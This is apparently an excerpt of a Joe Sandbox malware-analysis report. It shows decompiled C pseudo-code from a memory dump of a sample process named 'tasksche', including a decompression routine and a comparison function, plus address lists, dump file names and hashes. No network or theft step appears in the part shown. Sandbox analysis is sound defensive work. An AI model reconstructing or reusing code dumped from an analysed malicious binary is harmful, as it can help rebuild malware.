																			 *((char*)(_t640 + 6)) =  *((intOrPtr*)(_t505 + 6));
																			 *((char*)(_t640 + 7)) =  *((intOrPtr*)(_t505 + 7));
																			_t505 = _t505 + 8;
																			_t640 = _t640 + 8;
																			_t429 =  &_v24;
																			 *_t429 = _v24 - 1;
																			__eflags =  *_t429;
																		} while ( *_t429 != 0);
																		goto L109;
																	}
																}
																_t646 = _t608 + 0x2cf8 + _t733 * 4;
																while(1) {
																	__eflags = _t472 -  *_t646;
																	if(_t472 <  *_t646) {
																		break;
																	}
																	_t733 = _t733 + 1;
																	_t646 = _t646 + 4;
																	__eflags = _t733 - 0xf;
																	if(_t733 < 0xf) {
																		continue;
																	}
																	goto L135;
																}
																_a4 = _t733;
																goto L135;
															}
															_t647 = 0x10;
															_t511 = _t472 >> _t647 - _t732;
															_t650 = ( *(_t511 + _t608 + 0x2d7c) & 0x000000ff) +  *(_t808 + 4);
															 *_t808 =  *_t808 + (_t650 >> 3);
															 *(_t808 + 4) = _t650 & 0x00000007;
															_t476 =  *(_t608 + 0x317c + _t511 * 2) & 0x0000ffff;
															goto L138;
														} else {
															goto L126;
														}
														do {
															L126:
															 *_t622 =  *((intOrPtr*)(_t622 - 4));
															_t469 = _t469 - 1;
															_t622 = _t622 - 4;
															__eflags = _t469;
														} while (_t469 > 0);
														goto L127;
													}
													L102:
													_t512 =  *(_t806 + 0x68);
													__eflags = _t512;
												}
												_push( &_v52);
												_t525 = E00414290(_t806, _t808);
												__eflags = _t525;
												if(_t525 == 0) {
													goto L98;
												}
												goto L97;
											}
											_t529 = _t468 + 0xfffffefa;
											__eflags = _t529 - 8;
											if(_t529 >= 8) {
												_t663 = (_t529 >> 2) - 1;
												_a4 = _t663;
												_v12 = ((_t529 & 0x00000003 | 0x00000004) << _t663) + 2;
												__eflags = _t663;
												if(_t663 > 0) {
													_t594 = E0040978C(_t808);
													_t711 = 0x10;
													_v12 = _v12 + (_t594 >> _t711 - _a4);
													_t597 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t597 >> 3);
													_t598 = _t597 & 0x00000007;
													__eflags = _t598;
													 *(_t808 + 4) = _t598;
												}
											} else {
												_v12 = _t529 + 2;
											}
											_v16 = _v12;
											_t536 = E0040978C(_t808);
											_t771 =  *(_t608 + 0xfa0);
											_t537 = _t536 & 0x0000fffe;
											__eflags = _t537 -  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4));
											if(_t537 >=  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4))) {
												_t772 = _t771 + 1;
												_a4 = 0xf;
												__eflags = _t772 - 0xf;
												if(_t772 >= 0xf) {
													L46:
													_t666 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t666 >> 3);
													_t775 = _a4;
													 *(_t808 + 4) = _t666 & 0x00000007;
													_t668 = 0x10;
													_t540 = (_t537 -  *((intOrPtr*)(_t608 + 0xf1c + _a4 * 4)) >> _t668 - _a4) +  *((intOrPtr*)(_t608 + 0xf60 + _t775 * 4));
													__eflags = _t540 -  *((intOrPtr*)(_t608 + 0xf1c));
													if(_t540 >=  *((intOrPtr*)(_t608 + 0xf1c))) {
														_t540 = 0;
														__eflags = 0;
													}
													_t541 =  *(_t608 + 0x1ba4 + _t540 * 2) & 0x0000ffff;
													goto L49;
												}
												_t704 = _t608 + 0xf20 + _t772 * 4;
												while(1) {
													__eflags = _t537 -  *_t704;
													if(_t537 <  *_t704) {
														break;
													}
													_t772 = _t772 + 1;
													_t704 = _t704 + 4;
													__eflags = _t772 - 0xf;
													if(_t772 < 0xf) {
														continue;
													}
													goto L46;
												}
												_a4 = _t772;
												goto L46;
											} else {
												_t705 = 0x10;
												_t593 = _t537 >> _t705 - _t771;
												_t708 = ( *(_t593 + _t608 + 0xfa4) & 0x000000ff) +  *(_t808 + 4);
												 *_t808 =  *_t808 + (_t708 >> 3);
												 *(_t808 + 4) = _t708 & 0x00000007;
												_t541 =  *(_t608 + 0x13a4 + _t593 * 2) & 0x0000ffff;
												L49:
												__eflags = _t541 - 4;
												if(_t541 >= 4) {
													_t672 = (_t541 >> 1) - 1;
													_a4 = _t672;
													_v20 = ((_t541 & 0x00000001 | 0x00000002) << _t672) + 1;
													__eflags = _t672;
													if(_t672 <= 0) {
														L68:
														_t776 = _v20;
														__eflags = _t776 - 0x100;
														if(_t776 > 0x100) {
															_v16 = _v12 + 1;
															__eflags = _t776 - 0x2000;
															if(_t776 > 0x2000) {
																_v16 = _v16 + 1;
																__eflags = _t776 - 0x40000;
																if(_t776 > 0x40000) {
																	_t166 =  &_v16;
																	 *_t166 = _v16 + 1;
																	__eflags =  *_t166;
																}
															}
														}
														 *((intOrPtr*)(_t806 + 0x60)) =  *((intOrPtr*)(_t806 + 0x5c));
														 *((intOrPtr*)(_t806 + 0x5c)) =  *((intOrPtr*)(_t806 + 0x58));
														 *((intOrPtr*)(_t806 + 0x58)) =  *((intOrPtr*)(_t806 + 0x54));
														_t549 = _v16;
														 *(_t806 + 0x68) = _t549;
														_a4 = _t549;
														_t550 =  *(_t806 + 0x70);
														_t674 = _t550 - _t776;
														 *((intOrPtr*)(_t806 + 0x54)) = _t776;
														_t778 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
														_v24 = _t674;
														__eflags = _t674 - _t778;
														if(_t674 >= _t778) {
															goto L91;
														} else {
															__eflags = _t550 - _t778;
															if(_t550 >= _t778) {
																goto L91;
															}
															_t781 =  *((intOrPtr*)(_t806 + 0x4b34));
															_v8 = _t674 + _t781;
															_t679 = _v16;
															_t782 = _t781 + _t550;
															_v12 = _t782;
															 *(_t806 + 0x70) = _t550 + _t679;
															__eflags = _v20 - _t679;
															if(_v20 >= _t679) {
																__eflags = _t679 - 8;
																if(_t679 < 8) {
																	goto L82;
																}
																_t569 = _v16 >> 3;
																__eflags = _t569;
																_v24 = _t569;
																do {
																	E0041C290(_t608, _t806, _t808, _v12, _v8, 8);
																	_v8 = _v8 + 8;
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t810 = _t810 + 0xc;
																	_t219 =  &_v24;
																	 *_t219 = _v24 - 1;
																	__eflags =  *_t219;
																} while ( *_t219 != 0);
																goto L82;
															}
															__eflags = _t679 - 8;
															if(_t679 < 8) {
																goto L82;
															}
															_t572 = _t679 >> 3;
															__eflags = _t572;
															_v24 = _t572;
															_t573 = _v8;
															_t680 = _t782;
															do {
																_a4 = _a4 - 8;
																 *_t680 =  *_t573;
																_t191 = _t573 + 1; // 0x300905a
																 *((char*)(_t680 + 1)) =  *_t191;
																_t193 = _t573 + 2; // 0x30090
																 *((char*)(_t680 + 2)) =  *_t193;
																_t195 = _t573 + 3; // 0x300
																 *((char*)(_t680 + 3)) =  *_t195;
																_t197 = _t573 + 4; // 0x3
																 *((char*)(_t680 + 4)) =  *_t197;
																_t199 = _t573 + 5; // 0x4000000
																 *((char*)(_t680 + 5)) =  *_t199;
																_t201 = _t573 + 6; // 0x40000
																 *((char*)(_t680 + 6)) =  *_t201;
																_t203 = _t573 + 7; // 0x400
																 *((char*)(_t680 + 7)) =  *_t203;
																_t573 = _t573 + 8;
																_t680 = _t680 + 8;
																_t205 =  &_v24;
																 *_t205 = _v24 - 1;
																__eflags =  *_t205;
															} while ( *_t205 != 0);
															_v12 = _t680;
															_v8 = _t573;
															goto L82;
														}
													}
													__eflags = _t672 - 4;
													if(__eflags < 0) {
														_t576 = E00412AEB(_t808);
														_t682 = 0x20;
														_v20 = _v20 + (_t576 >> _t682 - _a4);
														_t579 =  *(_t808 + 4) + _a4;
														 *_t808 =  *_t808 + (_t579 >> 3);
														_t580 = _t579 & 0x00000007;
														__eflags = _t580;
														 *(_t808 + 4) = _t580;
														goto L68;
													}
													if(__eflags > 0) {
														_t588 = E00412AEB(_t808);
														_t589 = _a4;
														_t699 = 0x24;
														_t590 = _t589 +  *(_t808 + 4) - 4;
														_v20 = _v20 + (_t588 >> _t699 - _t589 << 4);
														 *_t808 =  *_t808 + (_t590 >> 3);
														_t591 = _t590 & 0x00000007;
														__eflags = _t591;
														 *(_t808 + 4) = _t591;
													}
													_t581 = E0040978C(_t808);
													_t791 =  *(_t608 + 0x1e8c);
													_t582 = _t581 & 0x0000fffe;
													__eflags = _t582 -  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4));
													if(_t582 >=  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4))) {
														_t792 = _t791 + 1;
														_a4 = 0xf;
														__eflags = _t792 - 0xf;
														if(_t792 >= 0xf) {
															L63:
															_t688 =  *(_t808 + 4) + _a4;
															 *_t808 =  *_t808 + (_t688 >> 3);
															_t795 = _a4;
															 *(_t808 + 4) = _t688 & 0x00000007;
															_t690 = 0x10;
															_t585 = (_t582 -  *((intOrPtr*)(_t608 + 0x1e08 + _a4 * 4)) >> _t690 - _a4) +  *((intOrPtr*)(_t608 + 0x1e4c + _t795 * 4));
															__eflags = _t585 -  *((intOrPtr*)(_t608 + 0x1e08));
															if(_t585 >=  *((intOrPtr*)(_t608 + 0x1e08))) {
																_t585 = 0;
																__eflags = 0;
															}
															_t586 =  *(_t608 + 0x2a90 + _t585 * 2) & 0x0000ffff;
															goto L66;
														}
														_t692 = _t608 + 0x1e0c + _t792 * 4;
														while(1) {
															__eflags = _t582 -  *_t692;
															if(_t582 <  *_t692) {
																break;
															}
															_t792 = _t792 + 1;
															_t692 = _t692 + 4;
															__eflags = _t792 - 0xf;
															if(_t792 < 0xf) {
																continue;
															}
															goto L63;
														}
														_a4 = _t792;
														goto L63;
													} else {
														_t693 = 0x10;
														_t587 = _t582 >> _t693 - _t791;
														_t696 = ( *(_t587 + _t608 + 0x1e90) & 0x000000ff) +  *(_t808 + 4);
														 *_t808 =  *_t808 + (_t696 >> 3);
														 *(_t808 + 4) = _t696 & 0x00000007;
														_t586 =  *(_t608 + 0x2290 + _t587 * 2) & 0x0000ffff;
														L66:
														_v20 = _v20 + _t586;
														goto L68;
													}
												}
												_v20 = _t541 + 1;
												goto L68;
											}
										}
										 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) = _t468;
										 *(_t806 + 0x70) =  *(_t806 + 0x70) + 1;
										continue;
									}
									_t716 = _t608 + 0x34 + _t727 * 4;
									while(1) {
										__eflags = _t464 -  *_t716;
										if(_t464 <  *_t716) {
											break;
										}
										_t727 = _t727 + 1;
										_t716 = _t716 + 4;
										__eflags = _t727 - 0xf;
										if(_t727 < 0xf) {
											continue;
										}
										goto L28;
									}
									_a4 = _t727;
									goto L28;
								}
								_t717 = 0x10;
								_t600 = _t464 >> _t717 - _t726;
								_t720 = ( *(_t600 + _t608 + 0xb8) & 0x000000ff) +  *(_t808 + 4);
								 *_t808 =  *_t808 + (_t720 >> 3);
								 *(_t808 + 4) = _t720 & 0x00000007;
								_t468 =  *(_t608 + 0x4b8 + _t600 * 2) & 0x0000ffff;
								goto L31;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4b30)) - _t462;
							if( *((intOrPtr*)(_t806 + 0x4b30)) == _t462) {
								goto L20;
							}
							E00415346(_t806);
							__eflags =  *((intOrPtr*)(_t806 + 0x4c54)) -  *((intOrPtr*)(_t806 + 0x4c44));
							if(__eflags > 0) {
								goto L5;
							}
							if(__eflags < 0) {
								goto L20;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4c50)) -  *((intOrPtr*)(_t806 + 0x4c40));
							if( *((intOrPtr*)(_t806 + 0x4c50)) >  *((intOrPtr*)(_t806 + 0x4c40))) {
								goto L5;
							}
							goto L20;
						}
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						L5:
						_t526 = 0;
						L99:
						return _t526;
					}
				} else {
					 *((char*)(_t608 + 0x2c)) = 1;
					_t607 = E0041462B(_t608, __ecx, _t608 + 4, _t608 + 0x18, _t608 + 0x30);
					if(_t607 != 0) {
						goto L3;
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						return _t607;
					}
				}
			}

0x00415da1
0x00415da9
0x00415dab
0x00415dd2
0x00415dd2
0x00415dd9
0x00415dde
0x00415de0
0x00415df3
0x00415dfd
0x00415e00
0x00415e02
0x00415e05
0x00415e08
0x00415e0b
0x00415e0d
0x00415e0d
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00415e20
0x00415e20
0x00415e23
0x0041639a
0x0041639a
0x00000000
0x0041639a
0x00415e29
0x00415e37
0x00415e37
0x00415e3a
0x00415e49
0x00415e49
0x00415e4f
0x00416784
0x00416784
0x00000000
0x00416784
0x00000000
0x00415e4f
0x00415e3c
0x00415e43
0x00000000
0x00000000
0x00000000
0x00415e43
0x00415e2e
0x00415e31
0x00000000
0x00000000
0x00000000
0x00415e55
0x00415e5b
0x00415e62
0x00415e68
0x00415e9f
0x00415ea1
0x00415ea6
0x00415eac
0x00415eb1
0x00415eb5
0x00415ee0
0x00415ee1
0x00415ee8
0x00415eeb
0x00415f03
0x00415f06
0x00415f10
0x00415f12
0x00415f18
0x00415f1f
0x00415f24
0x00415f28
0x00415f2b
0x00415f2d
0x00415f2d
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3e
0x00415f54
0x00415f59
0x00416373
0x00416375
0x004163a3
0x004163a8
0x0041654d
0x0041654d
0x00416552
0x00416558
0x0041655b
0x0041656a
0x0041656f
0x00416572
0x00416577
0x0041657d
0x00416582
0x00416589
0x004165b4
0x004165b5
0x004165bc
0x004165bf
0x004165da
0x004165dd
0x004165e7
0x004165e9
0x004165ef
0x004165f9
0x004165fe
0x00416605
0x0041660b
0x0041660d
0x0041660d
0x0041660d
0x0041660f
0x00416617
0x00416617
0x0041661a
0x0041662c
0x00416632
0x00416636
0x00416637
0x0041663a
0x0041663c
0x00416640
0x00416647
0x0041664d
0x00416653
0x0041665b
0x0041665d
0x0041665d
0x00416660
0x00416663
0x00416663
0x0041661c
0x0041661c
0x0041661f
0x0041661f
0x00416669
0x00416672
0x00416678
0x0041667b
0x0041667e
0x00416681
0x00416683
0x00416742
0x00416742
0x00416689
0x00416689
0x0041668c
0x00000000
0x00000000
0x00416692
0x0041669a
0x0041669d
0x004166a2
0x004166a8
0x004166ab
0x004166ae
0x0041670a
0x0041670d
0x00416483
0x00416483
0x00416487
0x00000000
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x004162a3
0x004162a3
0x004162a3
0x00000000
0x00415e10
0x00000000
0x004162ad
0x004162ad
0x004162b6
0x004162b9
0x004162b9
0x00000000
0x00415e10
0x00000000
0x004162c1
0x004162c1
0x004162c8
0x004162cb
0x004162cb
0x00000000
0x004164a1
0x004164a1
0x004164ab
0x004164ab
0x00000000
0x004162d4
0x004162d4
0x004162db
0x004162de
0x004162de
0x00000000
0x004164b4
0x004164b4
0x004164be
0x004164be
0x00000000
0x004162e7
0x004162e7
0x004162ee
0x004162f1
0x004162f1
0x00000000
0x004164c7
0x004164c7
0x004164d1
0x004164d1
0x00000000
0x004162fa
0x004162fa
0x00416301
0x00416304
0x00416304
0x00000000
0x004164da
0x004164da
0x004164e4
0x004164e4
0x00000000
0x0041630d
0x0041630d
0x00416314
0x00416317
0x00416317
0x00416320
0x00416323
0x00416323
0x00416326
0x00416329
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x0041632e
0x0041632e
0x0041632e
0x00416338
0x0041633e
0x00416344
0x0041634f
0x00416358
0x0041635e
0x00416362
0x00416366
0x00416369
0x00416369
0x0041636e
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x0041674a
0x00416750
0x00416759
0x00416764
0x00416767
0x0041676d
0x00416776
0x0041677a
0x0041677a
0x0041677f
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x004163b9
0x004163bf
0x004163c4
0x004163cc
0x004163d2
0x004163d5
0x004163d7
0x00000000
0x00000000
0x004163dd
0x004163df
0x00000000
0x00000000
0x004163e5
0x004163ed
0x004163f0
0x004163f3
0x004163f7
0x004163fa
0x004163fd
0x00416400
0x00416457
0x0041645a
0x00000000
0x00000000
0x0041645c
0x0041645c
0x0041645f
0x00416462
0x0041646a
0x0041646f
0x00416473
0x00416477
0x0041647b
0x0041647e
0x0041647e
0x0041647e
0x0041647e
0x00000000
0x00416462
0x00416402
0x00416405
0x00000000
0x00000000
0x00416407
0x00416407
0x0041640a
0x0041640d
0x00416410
0x00416412
0x00416414
0x00416418
0x0041641d
0x00416423
0x00416429
0x0041642f
0x00416435
0x0041643b
0x00416441
0x00416444
0x00416447
0x0041644a
0x0041644a
0x0041644a
0x0041644a
0x0041644f
0x0041644f
0x00416452
0x00000000
0x00416387
0x0041638d
0x00416392
0x00416392
0x00000000
0x00416508
0x00416508
0x00416508
0x00416512
0x00416518
0x0041651e
0x00416529
0x00416532
0x00416538
0x0041653c
0x00416540
0x00416543
0x00416543
0x00000000
0x004164ed
0x004164ed
0x004164f7
0x004164f7
0x00416500
0x00000000
0x00416500
0x0041648d
0x0041648d
0x00416496
0x00416499
0x00416499
0x00416716
0x00416716
0x00416719
0x0041671c
0x00416724
0x00416729
0x0041672d
0x00416731
0x00416735
0x00416738
0x00416738
0x00416738
0x00416738
0x00000000
0x0041673d
0x004166b0
0x004166b3
0x00000000
0x00000000
0x004166bc
0x004166bf
0x004166bf
0x004166c2
0x004166c5
0x004166c8
0x004166ca
0x004166ce
0x004166d3
0x004166d9
0x004166df
0x004166e5
0x004166eb
0x004166f1
0x004166f7
0x004166fa
0x004166fd
0x00416700
0x00416700
0x00416700
0x00416700
0x00000000
0x00416705
0x00416683
0x004165c1
0x004165c8
0x004165c8
0x004165ca
0x00000000
0x00000000
0x004165cc
0x004165cd
0x004165d0
0x004165d3
0x00000000
0x00000000
0x00000000
0x004165d5
0x004165d7
0x00000000
0x004165d7
0x0041658d
0x00416590
0x0041659a
0x004165a2
0x004165a7
0x004165aa
0x00000000
0x00000000
0x00000000
0x00000000
0x0041655d
0x0041655d
0x00416560
0x00416562
0x00416563
0x00416566
0x00416566
0x00000000
0x0041655d
0x004163ae
0x004163ae
0x004163b1
0x004163b1
0x0041637a
0x0041637e
0x00416383
0x00416385
0x00000000
0x00000000
0x00000000
0x00416385
0x00415f5f
0x00415f64
0x00415f67
0x00415f79
0x00415f7f
0x00415f84
0x00415f87
0x00415f89
0x00415f8d
0x00415f94
0x00415f9a
0x00415fa0
0x00415fa8
0x00415faa
0x00415faa
0x00415fad
0x00415fad
0x00415f69
0x00415f6c
0x00415f6c
0x00415fb5
0x00415fb8
0x00415fbd
0x00415fc3
0x00415fc8
0x00415fcf
0x00415ffa
0x00415ffb
0x00416002
0x00416005
0x00416020
0x00416023
0x0041602d
0x0041602f
0x00416035
0x0041603f
0x00416044
0x0041604b
0x00416051
0x00416053
0x00416053
0x00416053
0x00416055
0x00000000
0x00416055
0x00416007
0x0041600e
0x0041600e
0x00416010
0x00000000
0x00000000
0x00416012
0x00416013
0x00416016
0x00416019
0x00000000
0x00000000
0x00000000
0x0041601b
0x0041601d
0x00000000
0x00415fd1
0x00415fd3
0x00415fd6
0x00415fe0
0x00415fe8
0x00415fed
0x00415ff0
0x0041605d
0x0041605d
0x00416060
0x00416072
0x00416078
0x0041607c
0x0041607f
0x00416081
0x00416190
0x00416190
0x00416193
0x00416199
0x0041619f
0x004161a2
0x004161a8
0x004161aa
0x004161ad
0x004161b3
0x004161b5
0x004161b5
0x004161b5
0x004161b5
0x004161b3
0x004161a8
0x004161bb
0x004161c1
0x004161c7
0x004161ca
0x004161cd
0x004161d0
0x004161d3
0x004161d8
0x004161da
0x004161e3
0x004161e9
0x004161ec
0x004161ee
0x00000000
0x004161f4
0x004161f4
0x004161f6
0x00000000
0x00000000
0x004161fc
0x00416204
0x00416207
0x0041620a
0x0041620e
0x00416211
0x00416214
0x00416217
0x00416274
0x00416277
0x00000000
0x00000000
0x0041627c
0x0041627c
0x0041627f
0x00416282
0x0041628a
0x0041628f
0x00416293
0x00416297
0x0041629b
0x0041629e
0x0041629e
0x0041629e
0x0041629e
0x00000000
0x00416282
0x00416219
0x0041621c
0x00000000
0x00000000
0x00416224
0x00416224
0x00416227
0x0041622a
0x0041622d
0x0041622f
0x00416231
0x00416235
0x00416237
0x0041623a
0x0041623d
0x00416240
0x00416243
0x00416246
0x00416249
0x0041624c
0x0041624f
0x00416252
0x00416255
0x00416258
0x0041625b
0x0041625e
0x00416261
0x00416264
0x00416267
0x00416267
0x00416267
0x00416267
0x0041626c
0x0041626f
0x00000000
0x0041626f
0x004161ee
0x00416087
0x0041608a
0x0041616d
0x00416174
0x0041617a
0x00416180
0x00416188
0x0041618a
0x0041618a
0x0041618d
0x00000000
0x0041618d
0x00416090
0x00416094
0x0041609b
0x004160a0
0x004160a8
0x004160b1
0x004160b7
0x004160b9
0x004160b9
0x004160bc
0x004160bc
0x004160c1
0x004160c6
0x004160cc
0x004160d1
0x004160d8
0x00416103
0x00416104
0x0041610b
0x0041610e
0x00416129
0x0041612c
0x00416136
0x00416138
0x0041613e
0x00416148
0x0041614d
0x00416154
0x0041615a
0x0041615c
0x0041615c
0x0041615c
0x0041615e
0x00000000
0x0041615e
0x00416110
0x00416117
0x00416117
0x00416119
0x00000000
0x00000000
0x0041611b
0x0041611c
0x0041611f
0x00416122
0x00000000
0x00000000
0x00000000
0x00416124
0x00416126
0x00000000
0x004160da
0x004160dc
0x004160df
0x004160e9
0x004160f1
0x004160f6
0x004160f9
0x00416166
0x00416166
0x00000000
0x00416166
0x004160d8
0x00416063
0x00000000
0x00416063
0x00415fcf
0x00415f49
0x00415f4c
0x00000000
0x00415f4c
0x00415eed
0x00415ef1
0x00415ef1
0x00415ef3
0x00000000
0x00000000
0x00415ef5
0x00415ef6
0x00415ef9
0x00415efc
0x00000000
0x00000000
0x00000000
0x00415efe
0x00415f00
0x00000000
0x00415f00
0x00415eb9
0x00415ebc
0x00415ec6
0x00415ece
0x00415ed3
0x00415ed6
0x00000000
0x00415ed6
0x00415e6a
0x00415e70
0x00000000
0x00000000
0x00415e74
0x00415e7f
0x00415e85
0x00000000
0x00000000
0x00415e8b
0x00000000
0x00000000
0x00415e93
0x00415e99
0x00000000
0x00000000
0x00000000
0x00415e99
0x00415de2
0x00415de2
0x00415de9
0x00415de9
0x0041639c
0x00000000
0x0041639c
0x00415dad
0x00415db9
0x00415dbd
0x00415dc4
0x00000000
0x00415dc6
0x00415dc6
0x00000000
0x00415dc6
0x00415dc4

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55f74d88c168b2656ab75066bc4e011c1757566443c1fcad1fbcf06b528a1986
Instruction ID: 136bcfac07b0c46142f126060f48d767d5d9002a5a6c7f55271a6c6e067ee92a
Opcode Fuzzy Hash: 55f74d88c168b2656ab75066bc4e011c1757566443c1fcad1fbcf06b528a1986
Instruction Fuzzy Hash: 8C72B070A04645DFCB19CF68C5806EDBBB1FF45308F2981AED8598B742C339E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041BCD9 Relevance: .4, Instructions: 384
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041BCD9(void* __eax, void* __ecx) {
				void* _t196;
				signed int _t197;
				void* _t200;
				signed char _t206;
				signed char _t207;
				signed char _t208;
				signed char _t210;
				signed char _t211;
				signed int _t216;
				signed int _t316;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t330;
				void* _t332;
				void* _t334;
				void* _t337;
				void* _t339;
				void* _t341;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t351;
				void* _t353;
				void* _t355;
				void* _t358;
				void* _t360;
				void* _t362;

				_t200 = __ecx;
				_t196 = __eax;
				if( *((intOrPtr*)(__eax - 0x1f)) ==  *((intOrPtr*)(__ecx - 0x1f))) {
					_t316 = 0;
					L17:
					if(_t316 != 0) {
						goto L1;
					}
					_t206 =  *(_t196 - 0x1b);
					if(_t206 ==  *(_t200 - 0x1b)) {
						_t316 = 0;
						L28:
						if(_t316 != 0) {
							goto L1;
						}
						_t207 =  *(_t196 - 0x17);
						if(_t207 ==  *(_t200 - 0x17)) {
							_t316 = 0;
							L39:
							if(_t316 != 0) {
								goto L1;
							}
							_t208 =  *(_t196 - 0x13);
							if(_t208 ==  *(_t200 - 0x13)) {
								_t316 = 0;
								L50:
								if(_t316 != 0) {
									goto L1;
								}
								if( *(_t196 - 0xf) ==  *(_t200 - 0xf)) {
									_t316 = 0;
									L61:
									if(_t316 != 0) {
										goto L1;
									}
									_t210 =  *(_t196 - 0xb);
									if(_t210 ==  *(_t200 - 0xb)) {
										_t316 = 0;
										L72:
										if(_t316 != 0) {
											goto L1;
										}
										_t211 =  *(_t196 - 7);
										if(_t211 ==  *(_t200 - 7)) {
											_t316 = 0;
											L83:
											if(_t316 != 0) {
												goto L1;
											}
											_t319 = ( *(_t196 - 3) & 0x000000ff) - ( *(_t200 - 3) & 0x000000ff);
											if(_t319 == 0) {
												L5:
												_t321 = ( *(_t196 - 2) & 0x000000ff) - ( *(_t200 - 2) & 0x000000ff);
												if(_t321 == 0) {
													L3:
													_t197 = ( *(_t196 - 1) & 0x000000ff) - ( *(_t200 - 1) & 0x000000ff);
													if(_t197 != 0) {
														_t197 = (0 | _t197 > 0x00000000) + (0 | _t197 > 0x00000000) - 1;
													}
													L2:
													return _t197;
												}
												_t216 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
												if(_t216 != 0) {
													L86:
													_t197 = _t216;
													goto L2;
												} else {
													goto L3;
												}
											}
											_t216 = (0 | _t319 > 0x00000000) + (0 | _t319 > 0x00000000) - 1;
											if(_t216 == 0) {
												goto L5;
											}
											goto L86;
										}
										_t323 = (_t211 & 0x000000ff) - ( *(_t200 - 7) & 0x000000ff);
										if(_t323 == 0) {
											L76:
											_t325 = ( *(_t196 - 6) & 0x000000ff) - ( *(_t200 - 6) & 0x000000ff);
											if(_t325 == 0) {
												L78:
												_t327 = ( *(_t196 - 5) & 0x000000ff) - ( *(_t200 - 5) & 0x000000ff);
												if(_t327 == 0) {
													L80:
													_t316 = ( *(_t196 - 4) & 0x000000ff) - ( *(_t200 - 4) & 0x000000ff);
													if(_t316 != 0) {
														_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
													}
													goto L83;
												}
												_t316 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
												if(_t316 != 0) {
													goto L1;
												}
												goto L80;
											}
											_t316 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L78;
										}
										_t316 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L76;
									}
									_t330 = (_t210 & 0x000000ff) - ( *(_t200 - 0xb) & 0x000000ff);
									if(_t330 == 0) {
										L65:
										_t332 = ( *(_t196 - 0xa) & 0x000000ff) - ( *(_t200 - 0xa) & 0x000000ff);
										if(_t332 == 0) {
											L67:
											_t334 = ( *(_t196 - 9) & 0x000000ff) - ( *(_t200 - 9) & 0x000000ff);
											if(_t334 == 0) {
												L69:
												_t316 = ( *(_t196 - 8) & 0x000000ff) - ( *(_t200 - 8) & 0x000000ff);
												if(_t316 != 0) {
													_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
												}
												goto L72;
											}
											_t316 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L69;
										}
										_t316 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L67;
									}
									_t316 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L65;
								}
								_t337 = ( *(_t196 - 0xf) & 0x000000ff) - ( *(_t200 - 0xf) & 0x000000ff);
								if(_t337 == 0) {
									L54:
									_t339 = ( *(_t196 - 0xe) & 0x000000ff) - ( *(_t200 - 0xe) & 0x000000ff);
									if(_t339 == 0) {
										L56:
